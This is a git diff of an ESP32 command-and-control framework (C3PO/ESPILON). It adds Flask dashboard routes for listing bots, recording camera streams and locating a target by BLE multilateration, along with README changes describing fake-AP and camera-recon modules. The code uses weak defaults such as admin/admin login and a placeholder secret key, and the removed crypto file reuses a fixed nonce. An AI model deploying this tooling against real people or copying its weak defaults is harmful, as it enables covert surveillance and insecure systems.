try:
|
||||
cameras = [
|
||||
f.replace(".jpg", "")
|
||||
for f in os.listdir(full_image_dir)
|
||||
if f.endswith(".jpg")
|
||||
]
|
||||
except FileNotFoundError:
|
||||
cameras = []
|
||||
|
||||
receiver = get_receiver()
|
||||
result = {"cameras": [], "count": len(cameras)}
|
||||
|
||||
for cam_id in cameras:
|
||||
cam_info = {"id": cam_id, "recording": False}
|
||||
if receiver:
|
||||
status = receiver.get_recording_status(cam_id)
|
||||
cam_info["recording"] = status.get("recording", False)
|
||||
cam_info["filename"] = status.get("filename")
|
||||
result["cameras"].append(cam_info)
|
||||
|
||||
result["count"] = len(result["cameras"])
|
||||
return jsonify(result)
|
||||
|
||||
# ========== Recording Control ==========
|
||||
|
||||
@bp.route("/recording/start/<camera_id>", methods=["POST"])
|
||||
@require_api_auth
|
||||
def start_recording(camera_id):
|
||||
receiver = get_receiver()
|
||||
if not receiver:
|
||||
return jsonify({"error": "Camera receiver not available"}), 503
|
||||
|
||||
result = receiver.start_recording(camera_id)
|
||||
if "error" in result:
|
||||
return jsonify(result), 400
|
||||
return jsonify(result)
|
||||
|
||||
@bp.route("/recording/stop/<camera_id>", methods=["POST"])
|
||||
@require_api_auth
|
||||
def stop_recording(camera_id):
|
||||
receiver = get_receiver()
|
||||
if not receiver:
|
||||
return jsonify({"error": "Camera receiver not available"}), 503
|
||||
|
||||
result = receiver.stop_recording(camera_id)
|
||||
if "error" in result:
|
||||
return jsonify(result), 400
|
||||
return jsonify(result)
|
||||
|
||||
@bp.route("/recording/status")
|
||||
@require_api_auth
|
||||
def recording_status():
|
||||
receiver = get_receiver()
|
||||
if not receiver:
|
||||
return jsonify({"error": "Camera receiver not available"}), 503
|
||||
|
||||
camera_id = request.args.get("camera_id")
|
||||
return jsonify(receiver.get_recording_status(camera_id))
|
||||
|
||||
@bp.route("/recordings")
|
||||
@require_api_auth
|
||||
def list_recordings():
|
||||
receiver = get_receiver()
|
||||
if not receiver:
|
||||
return jsonify({"recordings": []})
|
||||
|
||||
return jsonify({"recordings": receiver.list_recordings()})
|
||||
|
||||
return bp
|
||||
48
tools/C3PO/web/routes/api_devices.py
Normal file
48
tools/C3PO/web/routes/api_devices.py
Normal file
@ -0,0 +1,48 @@
|
||||
"""Device API routes."""
|
||||
|
||||
import time
|
||||
from flask import Blueprint, jsonify
|
||||
|
||||
|
||||
def create_devices_blueprint(server_config):
|
||||
"""
|
||||
Create the devices API blueprint.
|
||||
|
||||
Args:
|
||||
server_config: Dict with keys:
|
||||
- get_device_registry: Callable returning device registry
|
||||
- require_api_auth: Auth decorator
|
||||
"""
|
||||
bp = Blueprint("api_devices", __name__, url_prefix="/api")
|
||||
|
||||
get_registry = server_config["get_device_registry"]
|
||||
require_api_auth = server_config["require_api_auth"]
|
||||
|
||||
@bp.route("/devices")
|
||||
@require_api_auth
|
||||
def list_devices():
|
||||
registry = get_registry()
|
||||
if registry is None:
|
||||
return jsonify({"error": "Device registry not available", "devices": []})
|
||||
|
||||
now = time.time()
|
||||
devices = []
|
||||
|
||||
for d in registry.all():
|
||||
devices.append({
|
||||
"id": d.id,
|
||||
"ip": d.address[0] if d.address else "unknown",
|
||||
"port": d.address[1] if d.address else 0,
|
||||
"status": d.status,
|
||||
"connected_at": d.connected_at,
|
||||
"last_seen": d.last_seen,
|
||||
"connected_for_seconds": round(now - d.connected_at, 1),
|
||||
"last_seen_ago_seconds": round(now - d.last_seen, 1)
|
||||
})
|
||||
|
||||
return jsonify({
|
||||
"devices": devices,
|
||||
"count": len(devices)
|
||||
})
|
||||
|
||||
return bp
|
||||
85
tools/C3PO/web/routes/api_mlat.py
Normal file
85
tools/C3PO/web/routes/api_mlat.py
Normal file
@ -0,0 +1,85 @@
|
||||
"""MLAT (Multilateration) API routes."""
|
||||
|
||||
import time
|
||||
from flask import Blueprint, jsonify, request
|
||||
|
||||
|
||||
def create_mlat_blueprint(server_config):
|
||||
"""
|
||||
Create the MLAT API blueprint.
|
||||
|
||||
Args:
|
||||
server_config: Dict with keys:
|
||||
- get_mlat_engine: Callable returning MLAT engine
|
||||
- require_api_auth: Auth decorator
|
||||
"""
|
||||
bp = Blueprint("api_mlat", __name__, url_prefix="/api/mlat")
|
||||
|
||||
get_engine = server_config["get_mlat_engine"]
|
||||
require_api_auth = server_config["require_api_auth"]
|
||||
|
||||
@bp.route("/collect", methods=["POST"])
|
||||
@require_api_auth
|
||||
def collect():
|
||||
"""Receive MLAT readings from scanners."""
|
||||
engine = get_engine()
|
||||
raw_data = request.get_data(as_text=True)
|
||||
count = engine.parse_data(raw_data)
|
||||
|
||||
if count > 0:
|
||||
engine.calculate_position()
|
||||
|
||||
return jsonify({
|
||||
"status": "ok",
|
||||
"readings_processed": count
|
||||
})
|
||||
|
||||
@bp.route("/state")
|
||||
@require_api_auth
|
||||
def state():
|
||||
"""Get current MLAT state (scanners + target position)."""
|
||||
engine = get_engine()
|
||||
state = engine.get_state()
|
||||
|
||||
# Auto-calculate if we have enough scanners but no target
|
||||
if state["target"] is None and state["scanners_count"] >= 3:
|
||||
result = engine.calculate_position()
|
||||
if "position" in result:
|
||||
state["target"] = {
|
||||
"position": result["position"],
|
||||
"confidence": result.get("confidence", 0),
|
||||
"calculated_at": result.get("calculated_at", time.time()),
|
||||
"age_seconds": 0
|
||||
}
|
||||
|
||||
return jsonify(state)
|
||||
|
||||
@bp.route("/config", methods=["GET", "POST"])
|
||||
@require_api_auth
|
||||
def config():
|
||||
"""Get or update MLAT configuration."""
|
||||
engine = get_engine()
|
||||
|
||||
if request.method == "POST":
|
||||
data = request.get_json() or {}
|
||||
engine.update_config(
|
||||
rssi_at_1m=data.get("rssi_at_1m"),
|
||||
path_loss_n=data.get("path_loss_n"),
|
||||
smoothing_window=data.get("smoothing_window")
|
||||
)
|
||||
|
||||
return jsonify({
|
||||
"rssi_at_1m": engine.rssi_at_1m,
|
||||
"path_loss_n": engine.path_loss_n,
|
||||
"smoothing_window": engine.smoothing_window
|
||||
})
|
||||
|
||||
@bp.route("/clear", methods=["POST"])
|
||||
@require_api_auth
|
||||
def clear():
|
||||
"""Clear all scanner data."""
|
||||
engine = get_engine()
|
||||
engine.clear()
|
||||
return jsonify({"status": "ok"})
|
||||
|
||||
return bp
|
||||
59
tools/C3PO/web/routes/api_stats.py
Normal file
59
tools/C3PO/web/routes/api_stats.py
Normal file
@ -0,0 +1,59 @@
|
||||
"""Stats API routes."""
|
||||
|
||||
import os
|
||||
from flask import Blueprint, jsonify
|
||||
|
||||
|
||||
def create_stats_blueprint(server_config):
|
||||
"""
|
||||
Create the stats API blueprint.
|
||||
|
||||
Args:
|
||||
server_config: Dict with keys:
|
||||
- image_dir: Camera images directory
|
||||
- c2_root: C2 root directory path
|
||||
- get_device_registry: Callable returning device registry
|
||||
- get_mlat_engine: Callable returning MLAT engine
|
||||
- require_api_auth: Auth decorator
|
||||
"""
|
||||
bp = Blueprint("api_stats", __name__, url_prefix="/api")
|
||||
|
||||
image_dir = server_config["image_dir"]
|
||||
c2_root = server_config["c2_root"]
|
||||
get_registry = server_config["get_device_registry"]
|
||||
get_mlat = server_config["get_mlat_engine"]
|
||||
require_api_auth = server_config["require_api_auth"]
|
||||
|
||||
@bp.route("/stats")
|
||||
@require_api_auth
|
||||
def stats():
|
||||
"""Get server statistics."""
|
||||
full_image_dir = os.path.join(c2_root, image_dir)
|
||||
|
||||
# Camera count
|
||||
try:
|
||||
camera_count = len([
|
||||
f for f in os.listdir(full_image_dir)
|
||||
if f.endswith(".jpg")
|
||||
])
|
||||
except FileNotFoundError:
|
||||
camera_count = 0
|
||||
|
||||
# Device count
|
||||
device_count = 0
|
||||
registry = get_registry()
|
||||
if registry:
|
||||
device_count = len(list(registry.all()))
|
||||
|
||||
# MLAT state
|
||||
mlat_engine = get_mlat()
|
||||
mlat_state = mlat_engine.get_state()
|
||||
|
||||
return jsonify({
|
||||
"active_cameras": camera_count,
|
||||
"connected_devices": device_count,
|
||||
"multilateration_scanners": mlat_state["scanners_count"],
|
||||
"server_running": True
|
||||
})
|
||||
|
||||
return bp
|
||||
96
tools/C3PO/web/routes/pages.py
Normal file
96
tools/C3PO/web/routes/pages.py
Normal file
@ -0,0 +1,96 @@
|
||||
"""Page routes (login, dashboard, cameras, mlat)."""
|
||||
|
||||
import os
|
||||
import secrets
|
||||
from flask import Blueprint, render_template, redirect, url_for, request, session
|
||||
|
||||
|
||||
def create_pages_blueprint(server_config):
|
||||
"""
|
||||
Create the pages blueprint.
|
||||
|
||||
Args:
|
||||
server_config: Dict with keys:
|
||||
- username: Login username
|
||||
- password: Login password
|
||||
- image_dir: Camera images directory
|
||||
- c2_root: C2 root directory path
|
||||
- require_login: Auth decorator
|
||||
"""
|
||||
bp = Blueprint("pages", __name__)
|
||||
|
||||
username = server_config["username"]
|
||||
password = server_config["password"]
|
||||
image_dir = server_config["image_dir"]
|
||||
c2_root = server_config["c2_root"]
|
||||
require_login = server_config["require_login"]
|
||||
|
||||
@bp.route("/login", methods=["GET", "POST"])
|
||||
def login():
|
||||
error = None
|
||||
if request.method == "POST":
|
||||
# CSRF validation
|
||||
token = request.form.get("csrf_token", "")
|
||||
if token != session.get("csrf_token", ""):
|
||||
error = "Invalid request. Please try again."
|
||||
else:
|
||||
form_user = request.form.get("username")
|
||||
form_pass = request.form.get("password")
|
||||
if form_user == username and form_pass == password:
|
||||
session["logged_in"] = True
|
||||
return redirect(url_for("pages.dashboard"))
|
||||
else:
|
||||
error = "Invalid credentials."
|
||||
# Generate CSRF token for the form
|
||||
session["csrf_token"] = secrets.token_hex(32)
|
||||
return render_template("login.html", error=error, csrf_token=session["csrf_token"])
|
||||
|
||||
@bp.route("/logout")
|
||||
def logout():
|
||||
session.pop("logged_in", None)
|
||||
return redirect(url_for("pages.login"))
|
||||
|
||||
@bp.route("/")
|
||||
@require_login
|
||||
def index():
|
||||
return redirect(url_for("pages.dashboard"))
|
||||
|
||||
@bp.route("/dashboard")
|
||||
@require_login
|
||||
def dashboard():
|
||||
return render_template("dashboard.html", active_page="dashboard")
|
||||
|
||||
@bp.route("/cameras")
|
||||
@require_login
|
||||
def cameras():
|
||||
full_image_dir = os.path.join(c2_root, image_dir)
|
||||
try:
|
||||
image_files = sorted([
|
||||
f for f in os.listdir(full_image_dir)
|
||||
if f.endswith(".jpg")
|
||||
])
|
||||
except FileNotFoundError:
|
||||
image_files = []
|
||||
|
||||
return render_template("cameras.html", active_page="cameras", image_files=image_files)
|
||||
|
||||
@bp.route("/mlat")
|
||||
@require_login
|
||||
def mlat():
|
||||
return render_template("mlat.html", active_page="mlat")
|
||||
|
||||
@bp.route("/streams/<filename>")
|
||||
@require_login
|
||||
def stream_image(filename):
|
||||
from flask import send_from_directory
|
||||
full_image_dir = os.path.join(c2_root, image_dir)
|
||||
return send_from_directory(full_image_dir, filename)
|
||||
|
||||
@bp.route("/recordings/<filename>")
|
||||
@require_login
|
||||
def download_recording(filename):
|
||||
from flask import send_from_directory
|
||||
recordings_dir = os.path.join(c2_root, "static", "recordings")
|
||||
return send_from_directory(recordings_dir, filename, as_attachment=True)
|
||||
|
||||
return bp
|
||||
197
tools/C3PO/web/server.py
Normal file
197
tools/C3PO/web/server.py
Normal file
@ -0,0 +1,197 @@
|
||||
"""Unified Flask web server for ESPILON C2 dashboard."""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import logging
|
||||
import threading
|
||||
from typing import Optional
|
||||
|
||||
from flask import Flask
|
||||
from werkzeug.serving import make_server
|
||||
|
||||
from .mlat import MlatEngine
|
||||
from .auth import create_auth_decorators
|
||||
from .routes import (
|
||||
create_pages_blueprint,
|
||||
create_devices_blueprint,
|
||||
create_cameras_blueprint,
|
||||
create_mlat_blueprint,
|
||||
create_stats_blueprint,
|
||||
)
|
||||
|
||||
# Make hp_dashboard importable (lives in espilon-honey-pot/tools/)
|
||||
_HP_TOOLS_DIR = os.environ.get("HP_DASHBOARD_PATH", os.path.normpath(os.path.join(
|
||||
os.path.dirname(__file__), "..", "..", "..", "..", "espilon-honey-pot", "tools"
|
||||
)))
|
||||
if os.path.isdir(_HP_TOOLS_DIR) and _HP_TOOLS_DIR not in sys.path:
|
||||
sys.path.insert(0, _HP_TOOLS_DIR)
|
||||
|
||||
# Disable Flask/Werkzeug request logging
|
||||
logging.getLogger('werkzeug').setLevel(logging.ERROR)
|
||||
|
||||
|
||||
class UnifiedWebServer:
|
||||
"""
|
||||
Unified Flask-based web server for ESPILON C2.
|
||||
|
||||
Provides:
|
||||
- Dashboard: View connected ESP32 devices
|
||||
- Cameras: View live camera streams with recording
|
||||
- MLAT: Visualize multilateration positioning
|
||||
"""
|
||||
|
||||
def __init__(self,
|
||||
host: str = "0.0.0.0",
|
||||
port: int = 8000,
|
||||
image_dir: str = "static/streams",
|
||||
username: str = "admin",
|
||||
password: str = "admin",
|
||||
secret_key: str = "change_this_for_prod",
|
||||
multilat_token: str = "multilat_secret_token",
|
||||
device_registry=None,
|
||||
mlat_engine: Optional[MlatEngine] = None,
|
||||
camera_receiver=None,
|
||||
hp_store=None,
|
||||
hp_commander=None,
|
||||
hp_alerts=None,
|
||||
hp_geo=None):
|
||||
"""
|
||||
Initialize the unified web server.
|
||||
|
||||
Args:
|
||||
host: Host to bind the server
|
||||
port: Port for the web server
|
||||
image_dir: Directory containing camera frame images
|
||||
username: Login username
|
||||
password: Login password
|
||||
secret_key: Flask session secret key
|
||||
multilat_token: Bearer token for MLAT API
|
||||
device_registry: DeviceRegistry instance for device listing
|
||||
mlat_engine: MlatEngine instance (created if None)
|
||||
camera_receiver: UDPReceiver instance for camera control
|
||||
hp_store: HpStore instance for honeypot event storage
|
||||
hp_commander: HpCommander instance for honeypot command dispatch
|
||||
hp_alerts: HpAlertEngine instance for honeypot alert rules
|
||||
hp_geo: HpGeoLookup instance for geo-IP enrichment
|
||||
"""
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.image_dir = image_dir
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.secret_key = secret_key
|
||||
self.multilat_token = multilat_token
|
||||
self.device_registry = device_registry
|
||||
self.mlat = mlat_engine or MlatEngine()
|
||||
self.camera_receiver = camera_receiver
|
||||
self.hp_store = hp_store
|
||||
self.hp_commander = hp_commander
|
||||
self.hp_alerts = hp_alerts
|
||||
self.hp_geo = hp_geo
|
||||
|
||||
# C2 root directory
|
||||
self.c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
|
||||
# Ensure image directory exists
|
||||
full_image_dir = os.path.join(self.c2_root, self.image_dir)
|
||||
os.makedirs(full_image_dir, exist_ok=True)
|
||||
|
||||
self._app = self._create_app()
|
||||
self._server = None
|
||||
self._thread = None
|
||||
|
||||
def set_camera_receiver(self, receiver):
|
||||
"""Set the camera receiver after initialization."""
|
||||
self.camera_receiver = receiver
|
||||
|
||||
@property
|
||||
def is_running(self) -> bool:
|
||||
return self._thread is not None and self._thread.is_alive()
|
||||
|
||||
def _create_app(self) -> Flask:
|
||||
"""Create and configure the Flask application."""
|
||||
template_dir = os.path.join(self.c2_root, "templates")
|
||||
static_dir = os.path.join(self.c2_root, "static")
|
||||
|
||||
app = Flask(__name__,
|
||||
template_folder=template_dir,
|
||||
static_folder=static_dir)
|
||||
app.secret_key = self.secret_key
|
||||
|
||||
# Create auth decorators
|
||||
require_login, require_api_auth = create_auth_decorators(
|
||||
lambda: self.multilat_token
|
||||
)
|
||||
|
||||
# Shared config for blueprints
|
||||
base_config = {
|
||||
"c2_root": self.c2_root,
|
||||
"image_dir": self.image_dir,
|
||||
"require_login": require_login,
|
||||
"require_api_auth": require_api_auth,
|
||||
}
|
||||
|
||||
# Register blueprints
|
||||
app.register_blueprint(create_pages_blueprint({
|
||||
**base_config,
|
||||
"username": self.username,
|
||||
"password": self.password,
|
||||
}))
|
||||
|
||||
app.register_blueprint(create_devices_blueprint({
|
||||
**base_config,
|
||||
"get_device_registry": lambda: self.device_registry,
|
||||
}))
|
||||
|
||||
app.register_blueprint(create_cameras_blueprint({
|
||||
**base_config,
|
||||
"get_camera_receiver": lambda: self.camera_receiver,
|
||||
}))
|
||||
|
||||
app.register_blueprint(create_mlat_blueprint({
|
||||
**base_config,
|
||||
"get_mlat_engine": lambda: self.mlat,
|
||||
}))
|
||||
|
||||
app.register_blueprint(create_stats_blueprint({
|
||||
**base_config,
|
||||
"get_device_registry": lambda: self.device_registry,
|
||||
"get_mlat_engine": lambda: self.mlat,
|
||||
}))
|
||||
|
||||
# Honeypot dashboard (optional — only if hp_store is provided)
|
||||
if self.hp_store and self.hp_commander:
|
||||
try:
|
||||
from hp_dashboard import create_hp_blueprint
|
||||
app.register_blueprint(create_hp_blueprint({
|
||||
**base_config,
|
||||
"hp_store": self.hp_store,
|
||||
"hp_commander": self.hp_commander,
|
||||
"hp_alerts": self.hp_alerts,
|
||||
"hp_geo": self.hp_geo,
|
||||
}))
|
||||
except ImportError:
|
||||
pass # hp_dashboard not available
|
||||
|
||||
return app
|
||||
|
||||
def start(self) -> bool:
|
||||
"""Start the web server in a background thread."""
|
||||
if self.is_running:
|
||||
return False
|
||||
|
||||
self._server = make_server(self.host, self.port, self._app, threaded=True)
|
||||
self._thread = threading.Thread(target=self._server.serve_forever, daemon=True)
|
||||
self._thread.start()
|
||||
return True
|
||||
|
||||
def stop(self):
|
||||
"""Stop the web server."""
|
||||
if self._server:
|
||||
self._server.shutdown()
|
||||
self._server = None
|
||||
self._thread = None
|
||||
|
||||
def get_url(self) -> str:
|
||||
"""Get the server URL."""
|
||||
return f"http://{self.host}:{self.port}"
|
||||
@ -2,30 +2,33 @@
|
||||
|
||||
This directory contains tools for managing and deploying Epsilon ESP32 agents.
|
||||
|
||||
## C2 Server (c2/)
|
||||
## C2 Server (C3PO/)
|
||||
|
||||
The C2 (Command & Control) server manages communication with deployed ESP32 agents.
|
||||
|
||||
### C3PO - Main C2 Server
|
||||
|
||||
**c3po** is the primary C2 server used to control Epsilon bots.
|
||||
**C3PO** is the primary C2 server used to control Epsilon bots.
|
||||
|
||||
Features:
|
||||
|
||||
- Asynchronous Python server (asyncio)
|
||||
- Device registry and management
|
||||
- Threaded TCP server (sockets + threads)
|
||||
- Device registry and management with per-device crypto
|
||||
- Group-based device organization
|
||||
- Encrypted communications (ChaCha20)
|
||||
- Encrypted communications (ChaCha20-Poly1305 AEAD + HKDF key derivation)
|
||||
- Per-device master key keystore (`keys.json`)
|
||||
- Interactive CLI interface
|
||||
- Optional TUI (Textual) and Web dashboard
|
||||
- Camera UDP receiver + MLAT support
|
||||
- Command dispatching to individual devices, groups, or all
|
||||
|
||||
See [c2/README.md](c2/README.md) for complete C2 documentation.
|
||||
See [C3PO/README.md](C3PO/README.md) for complete C2 documentation.
|
||||
|
||||
Quick start:
|
||||
|
||||
```bash
|
||||
cd c2
|
||||
python3 c3po.py --port 2626
|
||||
cd C3PO
|
||||
python3 c3po.py
|
||||
```
|
||||
|
||||
Authors: **@off-path**, **@eun0us**
|
||||
@ -94,8 +97,8 @@ Each device supports:
|
||||
| `module_fakeap` | Enable fake AP module |
|
||||
| `recon_camera` | Enable camera reconnaissance (ESP32-CAM) |
|
||||
| `recon_ble_trilat` | Enable BLE trilateration |
|
||||
| `crypto_key` | ChaCha20 encryption key (32 chars) |
|
||||
| `crypto_nonce` | ChaCha20 nonce (12 chars) |
|
||||
|
||||
> **Note**: Crypto keys are no longer configured here. Each device must be provisioned with a unique master key using `tools/provisioning/provision.py`.
|
||||
|
||||
### Hostname Randomization
|
||||
|
||||
@ -151,6 +154,26 @@ python3 flash.py --config devices.json --flash-only
|
||||
|
||||
See [flasher/README.md](flasher/README.md) for complete documentation.
|
||||
|
||||
## Device Provisioning (provisioning/)
|
||||
|
||||
The **provisioning** tool generates and flashes unique per-device master keys into factory NVS partitions.
|
||||
|
||||
### Features
|
||||
|
||||
- Generates 32-byte random master keys (cryptographically secure)
|
||||
- Creates NVS binary for factory partition (`fctry` at offset 0x10000)
|
||||
- Saves keys to C2 keystore (`keys.json`) for automatic lookup
|
||||
- Supports flashing directly to connected ESP32
|
||||
|
||||
### Quick Start
|
||||
|
||||
```bash
|
||||
cd provisioning
|
||||
python3 provision.py --device-id my-device --port /dev/ttyUSB0
|
||||
```
|
||||
|
||||
The master key is used by the firmware with HKDF-SHA256 to derive encryption keys for ChaCha20-Poly1305 AEAD.
|
||||
|
||||
## NanoPB Tools (nan/)
|
||||
|
||||
Tools for Protocol Buffers (nanoPB) code generation for the embedded communication protocol.
|
||||
|
||||
@ -1,322 +0,0 @@
|
||||
# C2 Server Documentation
|
||||
|
||||
## TODO
|
||||
|
||||
**TODO:**
|
||||
|
||||
```md
|
||||
|
||||
- Add requierements.txt
|
||||
|
||||
- Implementer la coexistence entre multiflasher fichier (valid-id.txt - separator "\n" - C2 will only authorize device who are register in 'valid-id.txt' or add c2 command style 'authorizeId <id>' and he will be add into id list & valid-id.txt file)
|
||||
|
||||
|
||||
```
|
||||
|
||||
## Overview
|
||||
|
||||
This C2 server is a Python-based control plane designed to manage a fleet of ESP devices (agents).
|
||||
|
||||
It provides a clean and extensible command-line interface to:
|
||||
|
||||
- Manage connected devices by unique ID
|
||||
- Send commands to individual devices, groups, or all devices
|
||||
- Organize devices into logical groups
|
||||
- Display connection duration to the C2
|
||||
- Support structured commands and raw developer commands
|
||||
- Serve as a solid base for future plugins and services
|
||||
|
||||
The project intentionally favors simplicity, readability, and extensibility.
|
||||
|
||||
---
|
||||
|
||||
## Architecture Overview
|
||||
|
||||
```md
|
||||
|
||||
c2/
|
||||
├── main.py # Entry point
|
||||
├── core/
|
||||
│ ├── device.py # Device model
|
||||
│ ├── registry.py # Connected device registry
|
||||
│ ├── crypto.py # Encryption wrapper
|
||||
│ ├── transport.py # Message handling
|
||||
│ └── groups.py # Group registry
|
||||
├── commands/
|
||||
│ ├── base.py # Command base class
|
||||
│ ├── registry.py # Command registry
|
||||
│ └── *.py # ESP command implementations
|
||||
├── cli/
|
||||
│ ├── cli.py # Interactive CLI
|
||||
│ └── help.py # Help system
|
||||
├── logs/
|
||||
│ └── manager.py # ESP log handling
|
||||
├── proto/
|
||||
│ ├── command.proto # Protocol definition
|
||||
│ └── command_pb2.py # Generated protobuf code
|
||||
└── utils/
|
||||
│ └── constant.py # Default script constant
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Core Concepts
|
||||
|
||||
### Device Identity
|
||||
|
||||
- Each ESP device is identified by a unique `esp_id`
|
||||
- Devices are not identified by IP or port
|
||||
- Reconnecting devices automatically replace their previous session
|
||||
|
||||
### Authentication Model
|
||||
|
||||
- Authentication is implicit
|
||||
- If the server can successfully decrypt and parse a message, the device is considered valid
|
||||
- No explicit handshake is required
|
||||
- Fully compatible with existing firmware
|
||||
|
||||
---
|
||||
|
||||
## Running the Server
|
||||
|
||||
```bash
|
||||
python main.py
|
||||
```
|
||||
|
||||
## CLI Usage
|
||||
|
||||
### List Connected Devices
|
||||
|
||||
```md
|
||||
list
|
||||
*Example d'output:*
|
||||
|
||||
ID IP CONNECTED
|
||||
----------------------------------------
|
||||
ce4f626b 192.168.1.42 2m 14s
|
||||
a91dd021 192.168.1.43 18s
|
||||
```
|
||||
|
||||
The `CONNECTED` column shows how long the device has been connected to the c2
|
||||
|
||||
### Help Commands
|
||||
|
||||
```text
|
||||
help [commands]
|
||||
*example:* help
|
||||
output:
|
||||
|
||||
=== C2 HELP ===
|
||||
|
||||
CLI Commands:
|
||||
help [cmd] Show this help
|
||||
list List connected ESP devices
|
||||
send <target> <command> Send a command to ESP(s)
|
||||
group <action> Manage ESP groups
|
||||
clear Clear the screen
|
||||
exit Exit the C2
|
||||
|
||||
ESP Commands:
|
||||
|
||||
reboot Reboot ESP
|
||||
|
||||
DEV MODE ENABLED:
|
||||
You can send arbitrary text commands:
|
||||
send <id> <any text>
|
||||
send group <name> <any text>
|
||||
send all <any text>
|
||||
|
||||
```
|
||||
|
||||
#### Help System
|
||||
|
||||
```md
|
||||
General Help
|
||||
help
|
||||
|
||||
Help for a Specific ESP Command
|
||||
help reboot
|
||||
|
||||
Help for the send Command
|
||||
help send
|
||||
|
||||
|
||||
The help output is dynamically generated from the registered commands.
|
||||
```
|
||||
|
||||
### Sending Commands
|
||||
|
||||
```md
|
||||
send <esp_id> <command>
|
||||
*example:* send ce4f626b reboot # The device named "ce4f626b" will reboot
|
||||
```
|
||||
|
||||
### Send to All Devices
|
||||
|
||||
```md
|
||||
send all [command]
|
||||
*example:* send all reboot
|
||||
```
|
||||
|
||||
### Send to a Group
|
||||
|
||||
```md
|
||||
send group bots
|
||||
*example:* send group bots reboot
|
||||
```
|
||||
|
||||
### Developer Mode (RAW Commands)
|
||||
|
||||
When `DEV_MODE = True`, arbitrary text commands can be sent:
|
||||
|
||||
```md
|
||||
send <id> [test 12 34]
|
||||
*example:* send ce4f626b custom start stream
|
||||
output **ce4f626b:** "start stream"
|
||||
```
|
||||
|
||||
The commands are sent as-is inside the `Command.command` field.
|
||||
|
||||
## Groups
|
||||
|
||||
### Add Devices to a Group
|
||||
|
||||
```md
|
||||
group add "group_name" <id/s>
|
||||
*example:* group add bots ce4f626b a91dd021
|
||||
|
||||
### List Groups
|
||||
```md
|
||||
group list
|
||||
*Example output:*
|
||||
bots: ce4f626b, a91dd021
|
||||
trilat: e2, e3, e1
|
||||
```
|
||||
|
||||
### Show Group Members
|
||||
|
||||
```md
|
||||
group show [group]
|
||||
*example:* group show bots
|
||||
output:
|
||||
bots: ce4f626b, a91dd021
|
||||
```
|
||||
|
||||
### Remove a Device from a Group
|
||||
|
||||
```md
|
||||
group remove bots ce4f626b
|
||||
```
|
||||
|
||||
Command System
|
||||
Adding a New ESP Command
|
||||
|
||||
Create a new file in commands/, for example status.py
|
||||
|
||||
Implement the command handler:
|
||||
|
||||
from commands.base import CommandHandler
|
||||
from proto.command_pb2 import Command
|
||||
|
||||
class StatusCommand(CommandHandler):
|
||||
name = "status"
|
||||
description = "Get device status"
|
||||
|
||||
def build(self, args):
|
||||
cmd = Command()
|
||||
cmd.command = "status"
|
||||
return cmd.SerializeToString()
|
||||
|
||||
|
||||
Register the command in main.py:
|
||||
|
||||
commands.register(StatusCommand())
|
||||
|
||||
|
||||
The command will automatically appear in:
|
||||
|
||||
CLI tab completion
|
||||
|
||||
help
|
||||
|
||||
send <id> <command>
|
||||
|
||||
## Protocol Definition
|
||||
|
||||
// explain nano pb
|
||||
|
||||
### Command
|
||||
|
||||
```h
|
||||
message Command {
|
||||
string command = 1;
|
||||
}
|
||||
```
|
||||
|
||||
### Response
|
||||
|
||||
```h
|
||||
message Response {
|
||||
string tag = 1;
|
||||
string id = 2;
|
||||
string message = 3;
|
||||
bytes response_data = 4;
|
||||
}
|
||||
```
|
||||
|
||||
### Log
|
||||
|
||||
```h
|
||||
message Log {
|
||||
string tag = 1;
|
||||
string id = 2;
|
||||
string log_message = 3;
|
||||
uint32 log_error_code = 4;
|
||||
}
|
||||
```
|
||||
|
||||
## Communication
|
||||
|
||||
The communication between c2 and bots are end-to-end encrypted.</br>
|
||||
Method:
|
||||
|
||||
```md
|
||||
- ChaCha20 symmetric encryption
|
||||
- Base64 transport encoding
|
||||
- Encryption logic centralized in core/crypto.py
|
||||
- Fully compatible with current ESP firmware
|
||||
```
|
||||
|
||||
## Design Limitations (Intentional)
|
||||
|
||||
```md
|
||||
- No persistent storage (groups reset on restart)
|
||||
- No request/response correlation (request-id)
|
||||
- No permissions or role management
|
||||
- No dynamic plugin loading
|
||||
```
|
||||
|
||||
These are deferred intentionally to keep the core system minimal and clean.
|
||||
|
||||
## Suggested Future Extensions
|
||||
|
||||
Todo and additional features:
|
||||
|
||||
```md
|
||||
- Plugin system (camera, proxy, trilateration/multilateration / etc.. )
|
||||
- Persistent user & group storage (JSON) (Multi-Flasher -> devices.json -> id-list.csv [Allow ID on c2])
|
||||
- Idle time display (last-seen)
|
||||
- Request/response correlation with request-id
|
||||
- Protocol versioning
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Authors
|
||||
|
||||
```md
|
||||
- @off-path
|
||||
- @Eun0us
|
||||
```
|
||||
|
||||
---
|
||||
@ -1,31 +0,0 @@
|
||||
import base64
|
||||
from Crypto.Cipher import ChaCha20
|
||||
|
||||
KEY = b"testde32chars0000000000000000000"
|
||||
NONCE = b"noncenonceno"
|
||||
|
||||
|
||||
class CryptoContext:
|
||||
def __init__(self, key: bytes = KEY, nonce: bytes = NONCE):
|
||||
self.key = key
|
||||
self.nonce = nonce
|
||||
|
||||
# =========================
|
||||
# ChaCha20
|
||||
# =========================
|
||||
def encrypt(self, data: bytes) -> bytes:
|
||||
cipher = ChaCha20.new(key=self.key, nonce=self.nonce)
|
||||
return cipher.encrypt(data)
|
||||
|
||||
def decrypt(self, data: bytes) -> bytes:
|
||||
cipher = ChaCha20.new(key=self.key, nonce=self.nonce)
|
||||
return cipher.decrypt(data)
|
||||
|
||||
# =========================
|
||||
# Base64
|
||||
# =========================
|
||||
def b64_encode(self, data: bytes) -> bytes:
|
||||
return base64.b64encode(data)
|
||||
|
||||
def b64_decode(self, data: bytes) -> bytes:
|
||||
return base64.b64decode(data)
|
||||
@ -1,2 +0,0 @@
|
||||
pycryptodome>=3.15.0
|
||||
protobuf>=4.21.0
|
||||
@ -1,387 +0,0 @@
|
||||
"""Unified Flask web server for ESPILON C2 dashboard."""
|
||||
|
||||
import os
|
||||
import logging
|
||||
import threading
|
||||
import time
|
||||
from functools import wraps
|
||||
from typing import Optional
|
||||
|
||||
from flask import Flask, render_template, send_from_directory, request, redirect, url_for, session, jsonify
|
||||
from werkzeug.serving import make_server
|
||||
|
||||
from .mlat import MlatEngine
|
||||
|
||||
